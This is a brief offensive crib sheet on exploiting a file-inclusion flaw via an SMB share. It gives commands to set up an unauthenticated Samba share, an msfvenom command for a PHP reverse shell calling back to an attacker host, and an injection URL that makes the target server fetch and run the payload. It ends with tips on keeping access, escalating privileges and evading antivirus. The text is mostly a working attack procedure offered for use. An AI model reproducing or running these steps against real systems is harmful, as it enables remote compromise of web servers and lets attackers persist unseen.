The following outlines a very short overview of LFI using SMB in form of a crib sheet.

Install Samba: 
	apt-get install samba
Remove default Samba config: 
	rm -f /etc/samba/smb.conf 
Create New  smb.conf: 
	vi /etc/samba/smb.conf 

The following config was added to the new smb.conf to allow a share with no user/password required.

[global]:
	security = user
	map to guest = bad user
	bind interfaces only = yes
	encrypt passwords = yes
	name resolve order = bcast host
	workgroup = WORKGROUP
	winbind use default domain = yes
	dns proxy = no
	server string = Samba Server %v
	winbind trusted domains only = yes
	null passwords = yes
	netbios name = indishell-lab
[public]:
	force user = nobody
	path = /mnt/smb_share
	public = yes

Once done the samba services were started and access was tested locally from a windows machine.

Once tested and satisfied the shares are functioning as expected then a payload for lfi was generated using msfvenom.

To avoid any complications with AV etc at this stage a basic shell is chosen over a meterpreter shell otherwise we could assume the exploit is not vulnerable when we are merely being blocked by AV.

msfvenom -p php/reverse_php LHOST=x.x.x.x LPORT=8443 -f raw exploit.php

Once everything is in place an msfconsole instance with a multi handler exploit can be started with the above msfvenom payload and our victim site tested:

http://someurl/script/?lang=\\x.x.x.x\smb_share\exploit.php

Injecting the above lang parameter with the smb path to the created share and php payload returned a positive response and the webserver pulls the php file over smb and executes the exploit to return a reverse php shell.

Once happy at this stage we can look at maintaining access and elevating privileges; it is also worth testing with a meterpreter shell in order to validate if there are issues with AV thus allowing more simplified options and potentially investigating fud meterpreter shells if exploits fail.